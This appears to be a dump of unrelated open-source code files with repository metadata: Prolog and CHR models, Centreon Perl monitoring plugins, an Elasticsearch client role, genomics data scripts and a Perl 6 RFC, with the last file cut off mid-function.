recognize-defeat3@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)\apply_rule(rule(recognize-defeat3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution.
run(X) <=> stopat(X), run.
init@run<=>true|add_buffer(retrieval,declarative_module),add_buffer(goal,declarative_module),lisp_chunktype([chunk]),lisp_sgp([:,esc,t,:,v,t,:,ul,t,:,ult,t]),lisp_chunktype([game,me,opponent]),lisp_adddm([[goal,isa,game,me,nil,opponent,nil]]),lisp_spp([recognize-win1,:,reward,2]),set_default_utilities([recognize-defeat3,recognize-defeat2,recognize-defeat1,recognize-draw,recognize-win3,recognize-win2,recognize-win1,play-scissors,play-paper,play-rock]),lisp_spp([recognize-win2,:,reward,2]),lisp_spp([recognize-win3,:,reward,2]),lisp_spp([recognize-defeat1,:,reward,0]),lisp_spp([recognize-defeat2,:,reward,0]),lisp_spp([recognize-defeat3,:,reward,0]),lisp_goalfocus([goal]),now(0),conflict_resolution,nextcyc.
no-rule@fire<=>true|conflict_set([]),choose.
| danielgall/chr-actr | src/core/examples/experiment/equally_random.pl | Perl | mit | 7,810 |
# See bottom of file for license and copyright information
package VisDoc::MemberFormatterJava;
use base 'VisDoc::MemberFormatterBase';
use strict;
use warnings;
sub new {
my ( $class, $inFileParser ) = @_;
my VisDoc::MemberFormatterJava $this = $class->SUPER::new();
$this->{PATTERN_PARAMETER_STRING} = 'DATATYPE| NAME';
$this->{PATTERN_MEMBER_TYPE_INFO_PROPERTY} = 'DATATYPE| NAME';
$this->{PATTERN_MEMBER_TYPE_INFO_METHOD} = 'RETURNTYPE |NAME|(PARAMETERS)';
$this->{PATTERN_MEMBER_PROPERTY_LEFT} = '';
bless $this, $class;
return $this;
}
=pod
=cut
sub getPropertyTypeString {
my ( $this, $inElement, $inMember ) = @_;
my $outText = '';
if ( $inElement =~ m/\bPROPERTYTYPE\b/ && $inMember->{type} ) {
my $type = $inMember->{type};
$inElement =~ s/\bPROPERTYTYPE\b/$type/;
$outText .= $inElement;
}
return $outText;
}
=pod
=cut
sub getMethodTypeString {
my ( $this, $inElement, $inMember ) = @_;
my $outText = '';
if ( $inElement =~ m/\bMETHODTYPE\b/ && $inMember->{type} ) {
my $type = $inMember->{type};
$inElement =~ s/\bMETHODTYPE\b/$type/;
$outText .= $inElement;
}
return $outText;
}
1;
# VisDoc - Code documentation generator, http://visdoc.org
# This software is licensed under the MIT License
#
# The MIT License
#
# Copyright (c) 2010-2011 Arthur Clemens, VisDoc contributors
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
| ArthurClemens/VisDoc | code/perl/lib/VisDoc/MemberFormatterJava.pm | Perl | mit | 2,493 |
%query: shanoi(i,i,i,i,o).
shanoi(s(0),A,B,C,[mv(A,C)]).
shanoi(s(s(X)),A,B,C,M) :-
eq(N1,s(X)),
shanoi(N1,A,C,B,M1),
shanoi(N1,B,A,C,M2),
append(M1,[mv(A,C)],T),
append(T,M2,M).
append([],L,L).
append([H|L],L1,[H|R]) :-
append(L,L1,R).
eq(X,X).
| ComputationWithBoundedResources/ara-inference | doc/tpdb_trs/Logic_Programming/talp_mixed/hanoiapp.suc.pl | Perl | mit | 255 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package network::alcatel::oxe::snmp::mode::pbxstate;
use base qw(centreon::plugins::mode);
use strict;
use warnings;
my $thresholds = {
state => [
['indeterminate', 'UNKNOWN'],
['critical', 'CRITICAL'],
['major', 'CRITICAL'],
['minor', 'WARNING'],
['warning', 'WARNING'],
['normal', 'OK'],
],
};
my %map_state = (
0 => 'indeterminate',
1 => 'critical',
2 => 'major',
3 => 'minor',
4 => 'warning',
5 => 'normal',
);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
$options{options}->add_options(arguments =>
{
"threshold-overload:s@" => { name => 'threshold_overload' },
});
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::init(%options);
$self->{overload_th} = {};
foreach my $val (@{$self->{option_results}->{threshold_overload}}) {
if ($val !~ /^(.*?),(.*?),(.*)$/) {
$self->{output}->add_option_msg(short_msg => "Wrong threshold-overload option '" . $val . "'.");
$self->{output}->option_exit();
}
my ($section, $status, $filter) = ($1, $2, $3);
if ($self->{output}->is_litteral_status(status => $status) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong threshold-overload status '" . $val . "'.");
$self->{output}->option_exit();
}
$self->{overload_th}->{$section} = [] if (!defined($self->{overload_th}->{$section}));
push @{$self->{overload_th}->{$section}}, {filter => $filter, status => $status};
}
}
sub run {
my ($self, %options) = @_;
$self->{snmp} = $options{snmp};
# Seems to have a bug to get '.0'
my $oid_pbxState = '.1.3.6.1.4.1.637.64.4400.1.2.0';
my $oid_pbxState_buggy = '.1.3.6.1.4.1.637.64.4400.1.2';
my $result = $self->{snmp}->get_leef(oids => [$oid_pbxState, $oid_pbxState_buggy], nothing_quit => 1);
my $pbx_state = defined($result->{$oid_pbxState}) ? $map_state{$result->{$oid_pbxState}} : $map_state{$result->{$oid_pbxState_buggy}};
my $exit = $self->get_severity(section => 'state', value => $pbx_state);
$self->{output}->output_add(severity => $exit,
short_msg => sprintf("PBX State is '%s'", $pbx_state));
$self->{output}->display();
$self->{output}->exit();
}
sub get_severity {
my ($self, %options) = @_;
my $status = 'UNKNOWN'; # default
if (defined($self->{overload_th}->{$options{section}})) {
foreach (@{$self->{overload_th}->{$options{section}}}) {
if ($options{value} =~ /$_->{filter}/i) {
$status = $_->{status};
return $status;
}
}
}
foreach (@{$thresholds->{$options{section}}}) {
if ($options{value} =~ /$$_[0]/i) {
$status = $$_[1];
return $status;
}
}
return $status;
}
1;
__END__
=head1 MODE
Check PBX State.
=over 8
=item B<--threshold-overload>
Set to overload default threshold values (syntax: section,status,regexp)
It used before default thresholds (order stays).
Example: --threshold-overload='state,CRITICAL,^(?!(normal)$)'
=back
=cut
| wilfriedcomte/centreon-plugins | network/alcatel/oxe/snmp/mode/pbxstate.pm | Perl | apache-2.0 | 4,198 |
use strict;
use warnings;
use FileHandle;
my $dir = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/input/';
my $vf_file = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/variation_features_96.txt';
my $count = 10_000_000;
my $file_count = 1;
my $i = 0;
my $fh = FileHandle->new($vf_file, 'r');
my $fh_write = FileHandle->new("$dir/$file_count.txt", 'w');
while (<$fh>) {
if ($i < $count) {
print $fh_write $_;
$i++;
} else {
$fh_write->close;
$file_count++;
$fh_write = FileHandle->new("$dir/$file_count.txt", 'w');
print $fh_write $_;
$i = 1;
}
}
$fh_write->close;
$fh->close;
| at7/work | utils/ancestral_alleles/split_variation_features.pl | Perl | apache-2.0 | 679 |
=head1 TITLE
Object Class hooks into C<printf>
=head1 VERSION
Maintainer: Mark Biggar <mark.biggar@TrustedSysLabs.com>
Date: 30 Aug 2000
Mailing List: perl6-language-io@perl.org
Number: 180
Version: 1
Status: Developing
=head1 ABSTRACT
There needs to be a way for an object class to define C<printf> format
specifiers for use in formatting objects into strings with C<printf> and
C<sprintf>.
=head1 DESCRIPTION
It would be nice to be able to do things like:
use BigInt ':constant';
printf "%53d",(3**34);
and get a nicely formatted output.
This could also simplify other proposals like RFC 48 where instead of
cluttering up the proposed C<date> and C<gmtdate> operators with C<POSIX
strftime()> functionality, it could be done using C<printf> instead.
=head1 IMPLEMENTATION
I have thought of two possible implementations:
1) When ever a blessed object reference appears in a C<printf> argument list
the internal C<printf> code invokes the objects C<STRING> method (see RFC 49)
with an extra argument consisting of the printf format specifier (in the above
example the extra argument would be "%53d". The C<STRING> method would return
either a properly formatted string scalar which would be incorporated in the
output string being constructed by C<printf> or C<undef>, if the C<STRING>
method does not understand the specifier, which should probably cause an
exception to be thrown.
2) When ever a blessed object reference appears in s C<printf> argument list
the internal C<printf> code attempts to invoke the objects C<PRINTF_spec>
method with an extra argument consisting of the inside of the C<printf>
specifier (in the above example anon-ref->PRINTF_d("53") would be invoked. If
the method exists then it returns a properly formatted string scalar or
C<undef> if it can not interpreted the specifier argument. If either C<undef>
is returned or there is no such method then a exception is thrown.
=head1 REFERENCES
RFC 49 Objects should have builtin stringifying STRING method
RFC 48 Replace localtime() and gmtime() with date() and gmtdate()
| autarch/perlweb | docs/dev/perl6/rfc/180.pod | Perl | apache-2.0 | 2,091 |
false :-
main_verifier_error.
ackermann__1(A,B) :-
true.
ackermann__3(A,B) :-
1*B=0,
ackermann__1(A,B).
ackermann__5(A,B) :-
-1*B>0,
ackermann__1(A,B).
ackermann__5(A,B) :-
1*B>0,
ackermann__1(A,B).
ackermann___0(A,B,C) :-
1*A+ -1*B=1,
1*C=0,
ackermann__3(B,C).
ackermann__8(A,B) :-
1*A=0,
ackermann__5(A,B).
ackermann__10(A,B) :-
-1*A>0,
ackermann__5(A,B).
ackermann__10(A,B) :-
1*A>0,
ackermann__5(A,B).
ackermann___0(A,B,C) :-
1*A>=2,
1*B=0,
1*D=1,
1*E=0,
1*F=0,
1*G=1,
ackermann__8(B,C),
ackermann(D,E,F,H,G,A).
ackermann___0(A,B,C) :-
-1*B+1*K>=0,
1*A+ -1*K>=1,
1*D=1,
1*E=0,
1*F=0,
1*B+ -1*G=1,
1*H=1,
1*I=0,
1*J=0,
ackermann__10(B,C),
ackermann(D,E,F,C,G,K),
ackermann(H,I,J,L,K,A).
ackermann__split(A,B,C) :-
1*A+ -1*B>=1,
ackermann___0(A,B,C).
ackermann(A,B,C,D,E,F) :-
-1*E+1*F>=1,
1*A=1,
1*B=0,
1*C=0,
ackermann__split(F,E,D).
main_entry :-
true.
main__un :-
1*E+ -1*F>=1,
-1*E>= -3,
1*D>=2,
1*A=1,
1*B=0,
1*C=0,
main_entry,
ackermann(A,B,C,D,F,E).
main_verifier_error :-
main__un.
| bishoksan/RAHFT | benchmarks_scp/SVCOMP15/svcomp15-clp-specialised/Ackermann02_false-unreach-call_false-termination.c.pl.pe.pl | Perl | apache-2.0 | 1,156 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package storage::hp::3par::ssh::plugin;
use strict;
use warnings;
use base qw(centreon::plugins::script_custom);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
%{$self->{modes}} = (
'components' => 'storage::hp::3par::ssh::mode::hardware',
'disk-usage' => 'storage::hp::3par::ssh::mode::diskusage',
'volume-usage' => 'storage::hp::3par::ssh::mode::volumeusage',
);
$self->{custom_modes}{ssh} = 'storage::hp::3par::ssh::custom::custom';
return $self;
}
1;
__END__
=head1 PLUGIN DESCRIPTION
Check HP 3par in SSH.
=cut
| Sims24/centreon-plugins | storage/hp/3par/ssh/plugin.pm | Perl | apache-2.0 | 1,448 |
##
## This file was generated by Google::ProtocolBuffers (0.08)
## on Fri Apr 10 13:57:35 2015
##
use strict;
use warnings;
use Google::ProtocolBuffers;
{
unless (ACPEncrypt->can('_pb_fields_list')) {
Google::ProtocolBuffers->create_message(
'ACPEncrypt',
[
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_STRING(),
'algorithm', 1, undef
],
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_FIXED64(),
'seqno', 2, undef
],
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_BYTES(),
'nonce', 3, undef
],
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_BYTES(),
'hmac', 4, undef
],
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_INT32(),
'length', 5, undef
],
[
Google::ProtocolBuffers::Constants::LABEL_REQUIRED(),
Google::ProtocolBuffers::Constants::TYPE_BYTES(),
'ciphertext', 50, undef
],
],
{ 'create_accessors' => 1, 'follow_best_practice' => 1, }
);
}
}
1;
| SolveMedia/furryblue | lib/AC/FurryBlue/proto/y2db_crypto.pl | Perl | apache-2.0 | 1,756 |
package Search::Elasticsearch::Role::Cxn::Async;
use Moo::Role;
use Search::Elasticsearch::Util qw(new_error);
use namespace::clean;
#===================================
sub pings_ok {
#===================================
my $self = shift;
$self->logger->infof( 'Pinging [%s]', $self->stringify );
$self->perform_request(
{ method => 'HEAD',
path => '/',
timeout => $self->ping_timeout,
}
)->then(
sub {
$self->logger->infof( 'Marking [%s] as live', $self->stringify );
$self->mark_live;
},
sub {
$self->logger->debug(@_);
$self->mark_dead;
die(@_);
}
);
}
#===================================
sub sniff {
#===================================
my $self = shift;
$self->logger->infof( 'Sniffing [%s]', $self->stringify );
$self->perform_request(
{ method => 'GET',
path => '/_nodes/http',
qs => { timeout => $self->sniff_timeout . 's' },
timeout => $self->sniff_request_timeout,
}
)->then(
sub { ( $self, $_[1]->{nodes} ) },
sub {
$self->mark_dead;
$self->logger->debug(@_);
($self);
}
);
}
1;
# ABSTRACT: Provides common functionality to async Cxn implementations
=head1 DESCRIPTION
L<Search::Elasticsearch::Role::Cxn::Async> provides common functionality to the
async Cxn implementations. Cxn instances are created by a
L<Search::Elasticsearch::Role::CxnPool> implementation,
using the L<Search::Elasticsearch::Cxn::Factory> class.
=head1 CONFIGURATION
See L<Search::Elasticsearch::Role::Cxn> for configuration options.
=head1 METHODS
None of the methods listed below are useful to the user. They are
documented for those who are writing alternative implementations only.
=head2 C<pings_ok()>
$promise = $cxn->pings_ok
Try to ping the node and call L</mark_live()> or L</mark_dead()> depending on
the success or failure of the ping.
=head2 C<sniff()>
$cxn->sniff
->then(
sub { my ($cxn,$nodes) = @_; ... },
sub { my $cxn = shift; ... }
)
Send a sniff request to the node and return the response.
| adjust/elasticsearch-perl | lib/Search/Elasticsearch/Role/Cxn/Async.pm | Perl | apache-2.0 | 2,283 |
#!/usr/bin/env perl
use strict;
use warnings;
use ReseqTrack::Tools::ERAUtils;
use autodie;
use JSON;
use Getopt::Long;
use Data::Dumper;
my $era_user;
my $era_pass;
my $production_dir;
GetOptions( "era_user=s" => \$era_user,
"era_pass=s" => \$era_pass,
"json_dir=s" => \$production_dir,
);
die `perldoc -t $0` if !$era_user || !$era_pass || !$production_dir;
my @era_conn = ( $era_user, $era_pass );
my $era = get_erapro_conn(@era_conn);
$era->dbc->db_handle->{LongReadLen} = 66000;
my $epirr_file_list = get_file_list( $production_dir );
my $epirr_hash = prepare_epirr_id_mapping( $epirr_file_list );
prepare_index( $epirr_hash, $era );
sub prepare_index{
my ( $epirr_hash, $xml_sth ) = @_;
my @header = qw/ EPIRR_ID
DESCRIPTION
STATUS
DONOR_ID
TISSUE_TYPE
CELL_TYPE
DISEASE
SAMPLE_IDS
ENA_EXPERIMENT_IDS
EGA_EXPERIMENT_IDS
EGA_DATASET_IDS
/;
print join ( "\t", @header ),$/;
foreach my $epirr_id ( keys %{$epirr_hash} ){
my $description = $$epirr_hash{ $epirr_id }{DESCRIPTION};
my $status = $$epirr_hash{ $epirr_id }{STATUS} ? $$epirr_hash{ $epirr_id }{STATUS} : 'NA';
my $donor_id = $$epirr_hash{ $epirr_id }{DONOR_ID} ? $$epirr_hash{ $epirr_id }{DONOR_ID} : 'NA';
my $disease = $$epirr_hash{ $epirr_id }{DISEASE} ? $$epirr_hash{ $epirr_id }{DISEASE} : 'NA';
my $cell_type = $$epirr_hash{ $epirr_id }{CELL_TYPE} ? $$epirr_hash{ $epirr_id }{CELL_TYPE} : 'NA';
my $tissue_type = $$epirr_hash{ $epirr_id }{TISSUE_TYPE} ? $$epirr_hash{ $epirr_id }{TISSUE_TYPE} : 'NA';
my @line_arr = ($epirr_id, $description, $status, $donor_id, $tissue_type, $cell_type, $disease);
my @sample_arr;
my @ena_exp_arr;
my @ega_exp_arr;
foreach my $primary_id ( @{$$epirr_hash{ $epirr_id }{RAW_DATA}} ){
my ( $experiment_id, $ega_id, $sample_id );
$primary_id =~ /^EGA/ ? $ega_id = $primary_id : $experiment_id = $primary_id;
$experiment_id = get_ena_id( $ega_id, $era ) if ( $ega_id && !$experiment_id );
$sample_id = get_sample_id( $experiment_id, $era );
$ega_id = undef if !$ega_id;
push @ena_exp_arr, $experiment_id;
push ( @ega_exp_arr, $ega_id ) if $ega_id;
push @sample_arr, $sample_id;
}
my $sample_list = join ( ";", @sample_arr);
my $ena_exp_list = join ( ";", @ena_exp_arr );
my $ega_exp_list;
if ( @ega_exp_arr ){
$ega_exp_list = join ( ";", @ega_exp_arr ) if @ega_exp_arr;
}
else {
$ega_exp_list = '';
}
my $ega_dataset_list;
if ( exists ( $$epirr_hash{ $epirr_id }{ SECONDARY_DATA })){
$ega_dataset_list = join ( ";", @{$$epirr_hash{ $epirr_id }{ SECONDARY_DATA }} );
}
else {
$ega_dataset_list = '';
}
push @line_arr, $sample_list, $ena_exp_list, $ega_exp_list, $ega_dataset_list;
print join ( "\t", @line_arr ),$/;
}
}
sub get_file_list {
my ( $old_epirr_dir ) = @_;
my @file_list;
opendir ( my $dh, $old_epirr_dir );
while ( readdir $dh ) {
my $file_path = $old_epirr_dir.'/'. $_;
push @file_list, $file_path
if $file_path =~ /\S+\.refepi\.out\.json$/;
}
closedir $dh;
return \@file_list;
}
sub prepare_epirr_id_mapping {
my ( $epirr_file_list ) = @_;
my %full_epirr_hash;
foreach my $file ( @$epirr_file_list ) {
my ( $epirr_id_hash ) = get_ega_ids( $file );
foreach my $experiment_id ( keys %{$epirr_id_hash} ) {
die if exists $full_epirr_hash{ $experiment_id };
$full_epirr_hash{ $experiment_id } = $$epirr_id_hash{ $experiment_id };
}
}
return \%full_epirr_hash;
}
sub get_ega_ids {
my ( $file ) = @_;
my %epirr_id_hash;
open my $fh, '<', $file;
my $json = do{ local $/; <$fh> };
close( $fh );
my $data = decode_json( $json );
my $epirr_id = $$data{ accession };
my $description = $$data{ description };
my $status = $$data{ status };
my $donor_id = $$data{ meta_data }{ donor_id };
my $tissue_type = $$data{ meta_data }{ tissue_type };
my $cell_type = $$data{ meta_data }{ cell_type };
my $disease = $$data{ meta_data }{ disease };
$epirr_id_hash{$epirr_id}{DESCRIPTION} = $description;
$epirr_id_hash{$epirr_id}{STATUS} = $status;
$epirr_id_hash{$epirr_id}{DONOR_ID} = $donor_id;
$epirr_id_hash{$epirr_id}{TISSUE_TYPE} = $tissue_type;
$epirr_id_hash{$epirr_id}{CELL_TYPE} = $cell_type;
$epirr_id_hash{$epirr_id}{DISEASE} = $disease;
my @raw_data_id_list;
foreach my $raw_data( @{$$data{raw_data}} ){
my $raw_data_id = $$raw_data{primary_id};
my $secondary_data = $$raw_data{secondary_id} ? $$raw_data{secondary_id} : undef;
push @{$epirr_id_hash{$epirr_id}{RAW_DATA}},$raw_data_id;
push @{$epirr_id_hash{$epirr_id}{SECONDARY_DATA}},$secondary_data if $secondary_data;
}
return \%epirr_id_hash;
}
sub get_ena_id {
my ( $ega_id, $era ) = @_;
my $xml_sth = $era->dbc->prepare( "select e.experiment_id,e.ega_id from experiment e where e.ega_id = ?" );
$xml_sth->execute( $ega_id );
my $exp_id;
while ( my $xr = $xml_sth->fetchrow_arrayref()){
$exp_id = $$xr[0];
my $ega_id_test = $$xr[1];
die unless $ega_id_test eq $ega_id;
}
return $exp_id;
}
sub get_sample_id {
my ( $exp_id, $era ) = @_;
my $xml_sth = $era->dbc->prepare( "select e.experiment_id, ex.sample_name from experiment e,
xmltable( '/EXPERIMENT_SET/EXPERIMENT' passing e.experiment_xml
columns
sample_name varchar2(512) PATH '//DESIGN/SAMPLE_DESCRIPTOR/IDENTIFIERS//SUBMITTER_ID'
) ex
where e.experiment_id = ?" );
$xml_sth->execute( $exp_id );
my $sample_name;
while ( my $xr = $xml_sth->fetchrow_arrayref()){
my $exp = $$xr[0];
$sample_name = $$xr[1];
die unless $exp eq $exp_id;
}
return $sample_name;
}
=head1 EpiRR index file generation script
=head2
Usage:
perl create_epirr_index.pl -era_user <era username> -era_pass <era_pass> -json_dir <EpiRR json output dir>
=cut
| EMBL-EBI-GCA/bp_project | scripts/index/create_epirr_index.pl | Perl | apache-2.0 | 6,223 |
package VMOMI::VirtualMachineUsageOnDatastore;
use parent 'VMOMI::DynamicData';
use strict;
use warnings;
our @class_ancestors = (
'DynamicData',
);
our @class_members = (
['datastore', 'ManagedObjectReference', 0, ],
['committed', undef, 0, ],
['uncommitted', undef, 0, ],
['unshared', undef, 0, ],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/VirtualMachineUsageOnDatastore.pm | Perl | apache-2.0 | 545 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package network::citrix::sdx::snmp::plugin;
use strict;
use warnings;
use base qw(centreon::plugins::script_snmp);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
%{$self->{modes}} = (
'disk-usage' => 'network::citrix::sdx::snmp::mode::diskusage',
'hardware' => 'network::citrix::sdx::snmp::mode::hardware',
'sr-usage' => 'network::citrix::sdx::snmp::mode::srusage',
'xen-usage' => 'network::citrix::sdx::snmp::mode::xenusage',
);
return $self;
}
1;
__END__
=head1 PLUGIN DESCRIPTION
Check Citrix SDX in SNMP.
=cut
| wilfriedcomte/centreon-plugins | network/citrix/sdx/snmp/plugin.pm | Perl | apache-2.0 | 1,564 |
#
# Copyright 2015 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package network::juniper::common::ive::mode::users;
use base qw(centreon::plugins::mode);
use strict;
use warnings;
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
$options{options}->add_options(arguments =>
{
"warning-web:s" => { name => 'warning_web' },
"critical-web:s" => { name => 'critical_web' },
"warning-meeting:s" => { name => 'warning_meeting' },
"critical-meeting:s" => { name => 'critical_meeting' },
"warning-node:s" => { name => 'warning_node' },
"critical-node:s" => { name => 'critical_node' },
"warning-cluster:s" => { name => 'warning_cluster' },
"critical-cluster:s" => { name => 'critical_cluster' },
});
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::init(%options);
if (($self->{perfdata}->threshold_validate(label => 'warning_web', value => $self->{option_results}->{warning_web})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong warning web threshold '" . $self->{option_results}->{warning_web} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'critical_web', value => $self->{option_results}->{critical_web})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong critical web threshold '" . $self->{option_results}->{critical_web} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'warning_meeting', value => $self->{option_results}->{warning_meeting})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong warning meeting threshold '" . $self->{option_results}->{warning_meeting} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'critical_meeting', value => $self->{option_results}->{critical_meeting})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong critical meeting threshold '" . $self->{option_results}->{critical_meeting} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'warning_node', value => $self->{option_results}->{warning_node})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong warning node threshold '" . $self->{option_results}->{warning_node} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'critical_node', value => $self->{option_results}->{critical_node})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong critical node threshold '" . $self->{option_results}->{critical_node} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'warning_cluster', value => $self->{option_results}->{warning_cluster})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong warning cluster threshold '" . $self->{option_results}->{warning_cluster} . "'.");
$self->{output}->option_exit();
}
if (($self->{perfdata}->threshold_validate(label => 'critical_cluster', value => $self->{option_results}->{critical_cluster})) == 0) {
$self->{output}->add_option_msg(short_msg => "Wrong critical cluster threshold '" . $self->{option_results}->{critical_cluster} . "'.");
$self->{output}->option_exit();
}
}
sub run {
my ($self, %options) = @_;
# $options{snmp} = snmp object
$self->{snmp} = $options{snmp};
my $oid_signedInWebUsers = '.1.3.6.1.4.1.12532.2.0';
my $oid_meetingUserCount = '.1.3.6.1.4.1.12532.9.0';
my $oid_iveConcurrentUsers = '.1.3.6.1.4.1.12532.12.0';
my $oid_clusterConcurrentUsers = '.1.3.6.1.4.1.12532.13.0';
my $result = $self->{snmp}->get_leef(oids => [$oid_signedInWebUsers, $oid_meetingUserCount,
$oid_iveConcurrentUsers, $oid_clusterConcurrentUsers], nothing_quit => 1);
my $exit1 = $self->{perfdata}->threshold_check(value => $result->{$oid_signedInWebUsers},
threshold => [ { label => 'critical_web', 'exit_litteral' => 'critical' }, { label => 'warning_web', exit_litteral => 'warning' } ]);
my $exit2 = $self->{perfdata}->threshold_check(value => $result->{$oid_meetingUserCount},
threshold => [ { label => 'critical_meeting', 'exit_litteral' => 'critical' }, { label => 'warning_meeting', exit_litteral => 'warning' } ]);
my $exit3 = $self->{perfdata}->threshold_check(value => $result->{$oid_iveConcurrentUsers},
threshold => [ { label => 'critical_node', 'exit_litteral' => 'critical' }, { label => 'warning_node', exit_litteral => 'warning' } ]);
my $exit4 = $self->{perfdata}->threshold_check(value => $result->{$oid_clusterConcurrentUsers},
threshold => [ { label => 'critical_cluster', 'exit_litteral' => 'critical' }, { label => 'warning_cluster', exit_litteral => 'warning' } ]);
$self->{output}->output_add(severity => $exit1,
short_msg => sprintf("Current concurrent signed-in web users connections: %d",
$result->{$oid_signedInWebUsers}));
$self->{output}->output_add(severity => $exit2,
short_msg => sprintf("Current concurrent meeting users connections: %s",
defined($result->{$oid_meetingUserCount}) ? $result->{$oid_meetingUserCount} : 'unknown'));
$self->{output}->output_add(severity => $exit3,
short_msg => sprintf("Current concurrent node logged users connections: %d",
$result->{$oid_iveConcurrentUsers}));
$self->{output}->output_add(severity => $exit4,
short_msg => sprintf("Current concurrent cluster logged users connections: %d",
$result->{$oid_clusterConcurrentUsers}));
$self->{output}->perfdata_add(label => "web",
value => $result->{$oid_signedInWebUsers},
warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_web'),
critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_web'),
min => 0);
